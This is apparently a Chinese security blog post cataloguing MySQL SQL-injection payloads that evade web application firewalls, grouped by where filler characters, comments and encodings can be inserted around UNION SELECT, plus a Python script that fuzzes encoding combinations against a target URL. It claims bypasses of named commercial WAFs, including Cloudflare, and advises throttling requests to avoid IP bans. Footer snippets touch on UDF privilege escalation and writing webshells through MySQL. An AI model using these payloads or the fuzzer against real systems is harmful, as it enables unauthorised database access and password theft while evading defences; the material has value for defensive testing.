<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    MySQL繞過小結

    VSole2021-09-20 16:07:23

    0x01 前言

    最近在網上搜集學習到關于 mysql 注入的操作,故做一個小總結。

    0x02 測試

    我的WafBypass之道 (SQL注入篇)這篇文章結尾部分提到的,把每個 SQL 關鍵字兩側可插入的點稱之為”位“,類似下圖:

    我要總結的這些操作,也是圍著這五個位,下面開始。

    位置一

    (1)注釋符

    /**/ %23 --+ /*!50000union*/

    id=2/**/union select 1,user,3 from admin
    

    (2)空白符

    %09,%0a,%0b,%0c,%0d,%20,%a0

    id= 1 %0a union select 1,user,3 from admin
    

    (3)科學計算法

    e .

    id= 2e0 union select 1,user,3 from admin
    
    id= 1.union select 1,user,3 from admin
    
    id= 1.1union select 1,user,3 from admin
    
    還有%1%2E   %2%2E    %3%2E   
    
    id= 1'  %1%2Eunion select user(),2 %23
    

    (4)單引號雙引號

    id= 1'  'xx'union select user(),2 %23
    
    id= 1'  ""union select user(),2 %23
    

    需要閉合的先閉合,然后成對使用單雙引號

    (5)x@

    假設SQL語句為:select * from article where id = '2'

    %@ *@ -@ +@ /@ <@ =@ >@ ^@ |@ %26@ -@'' -@"" -@@new

    id='  -@ union select 1,2 ,3 %23
    
    id='  %26@ union select 1,2 ,3 %23
    
    id='  -@'' union select 1,2 ,3 %23
    
    id=' -@@new  union select 1,2 ,3 %23
    

    (6){x key}

    假設SQL語句為:select * from article where id = '2'

    id=' and {x -2} union select 1,2,3 %23
    
    id='  ||  !{`x` -2} union select 1,2,3 %23
    
    id='  ||  !{`x` -@} union select 1,2,3 %23
    
    id='  and {x  id} union select 1,2,3 %23
    
    id='  and {x  id} union select 1,2,3 %23
    
    id=' and {id (select/**/--0)}union select 1,2,3 %23
    

    (7) 其他

    \Nunion select 1,2,3 %23
    
    null union select 1,2,3 %23
    

    (8)函數

    and  MD5('a') union select 1,password,database() from users--+
    
     and binary @ union select 1,password,3 from users--+
    
    and  ST_X(Point(1, 2)) union select 1,password,database() from users--+
    

    更多內置函數查看

    位置二

    (1) 空白符

    %09,%0a,%0b,%0c,%0d,%20

    id= 1  union%0aselect 1,user,3 from admin
    

    (2)注釋

    /*!*/ /**/

    id= 1  union /**/select 1,user,3 from admin
    

    (3)括號

    union(select  1,(password),3,4,5,6 from(users)) %23
    

    (4) ALL | DISTINCT | DISTINCTROW

    union ALL select  1,password,3 from users %23
    

    (5)函數分隔

    %09%0A
    %0D%0b
    %0b%0A
    %09%0C
    %09%23%0A
    --%0A
    %23%0A
    --+\N%0A
    %23%f0%0A
    ...
    union%23%0Aselect  1,password,3 from users %23
    
    union-- xx%0Aselect  1,password,3 from users %23
    

    位置三

    (1) 空白符

    %09,%0a,%0b,%0c,%0d,%20

    union select %09 1,password,3 from users %23
    

    (2)注釋

    /*!*/ /**/

    union select /**/ 1,password,3 from users %23
    

    (3) ALL | DISTINCT | DISTINCTROW

    union select ALL  1,password,3 from users %23
    

    (4) {} ()

    union select{x 1},password,3 from users %23
    
    union select(1),password,3 from users %23
    

    (5)符號

    + - @ ~ !

    union select+1,password,3 from users %23
    

    " ' 單雙引號

    union select""a1,password,3 from users %23
    union select+1,password,3 from users %23
    

    組合

    +@ +'' -@ -'' ~@ ~'' ~"" !@ !"" @$ @. \N$
    ...
    union select+@a1,password,3 from users %23
    
    union select\N$a1,password,3 from users %23
    

    (6)函數

    union select  MD5('a') |1,2,database() from users--+
    
    union select reverse('xx'),password,3 from users %23
    
    union select ST_X(Point(1, 2))a,2,database() from users--+
    

    更多內置函數查看

    位置四

    (1) 空白符

    %09,%0a,%0b,%0c,%0d,%20,%23,%27

    -1' union select 1,2,user()%23from users--+
    

    (2)注釋

    /*!*/ /**/

    -1' union select 1,2,user()/**/from users--+
    

    (3) 反引號

    1' union select 1,2,password ``from users`` --+

    (4)花括號

    1' union select 1,2,{x password}from users --+
    
    1' union select 1,2,(password)from users --+
    

    (5) 符號

    \N

    1' union select 1,password,\Nfrom users --+

    單雙引號

    1' union select 1,user(),""from users --+

    e .

    1' union select 1,password,3e1from users --+

    1' union select 1,password,3.1from users --+

    組合

    \N%0C  \N%23  \N%27  %7E\N  %21\N  %27\N   %2D\N  %7E\N %2D%2D%0A
    %27--  --%40   --%27 --""
    ...
    1' union select 1,user(),\NXXXX%23from users --+
    
    1' union select 1,user(),%27XXXX--from users --+
    

    位置五

    (1) 空白符

    %09,%0a,%0b,%0c,%0d,%20,%2E

    1' union select 1,2,user() from%0dusers--+
    

    (2)注釋

    /*!*/ /**/

    -1' union select 1,2,user() from /**/users--+

    (3)花括號

    1' union select 1,user(),3 from(users) --+  
    
    1' union select 1,user(),3 from{x users} --+
    

    0x03 FUZZ

    很多時候,單一姿勢是無法奏效繞過的,有些姿勢也是需要大量 FUZZ 得到,使用大量字符編碼對 SQL 語句的“位”進行 FUZZ,編寫了一個簡單Python腳本演示。

    Python腳本

    import requests
    import itertools
    
    
    List = ['%20','%09','%0a','%0b','%0c','%0d','%2d%2d','%23','%a0','%2D%2D%2B','%5C%4E','\\N']
    
    count = 0
    num = 2 #fuzz num 個字符組合
    target = 'http://localhost/sqli-labs-master/Less-1/?id=-1\' '
    
    for i in itertools.product(List,repeat=num):
    
        count += 1
        print(count,':',len(List)**num)
    
        str = ''.join((i))
        payload = '{}union select 1,user(),3 from users %23'.format(str)
        url = target + payload
        req = requests.get(url=url)
    
        if "root@localhost" in req.text:
            print(url)
            with open("result.txt",'a',encoding='utf-8') as r:
                r.write(str + "")
    

    云鎖

    fuzz 位置一利用空白字符、注釋、浮點數等生成2個字符組成的有效 payload

    Burp跑下,得到狀態為 200 就是繞過的字符串,這里建議請求訪問頻率設置慢點,太快會被ban ip。

    繞過

    cloudflare

    0x04 參考

    https://mp.weixin.qq.com/s/qG_m7YXvEw2PwFXQDj6_qw

    https://www.ms509.com/2020/06/24/Waf-Bypass-Sql/

    https://xz.aliyun.com/t/368

    mysqlselect
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL快速注入漏洞技巧
    2021-12-18 07:46:43
    SQL快速注入漏洞技巧
    分塊傳輸吊打所有WAF
    SQL 中最強大的也是最復雜的就是查詢部分。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    前言本次審計的話是Seay+昆侖鏡進行漏洞掃描Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';驗證碼的校驗代碼if ($_SESSION['verifycode'] !該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。wap/seacher.php昆侖鏡掃描利用seay查看源碼//這只是一部分,具體的師傅們可自行查看此文件
    如果流量都沒有經過WAF,WAF當然無法攔截攻擊請求。當前多數云WAF架構,例如百度云加速、阿里云盾等,通過更改DNS解析,把流量引入WAF集群,流量經過檢測后轉發請求到源站。如圖,dict.com接入接入WAF后,dict.com的DNS解析結果指向WAF集群,用戶的請求將發送給WAF集群,WAF集群經過檢測認為非攻擊請求再轉發給源站。
    MySQL UDF提權
    2021-12-01 07:56:57
    sqlmap中的udf文件提供的函數:sys_eval,執行任意命令,并將輸出返回。sys_get,獲取一個環境變量。sys_set,創建或修改一個環境變量。
    MySQL寫馬詳解
    2022-01-17 06:19:50
    MySQL寫馬詳解
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类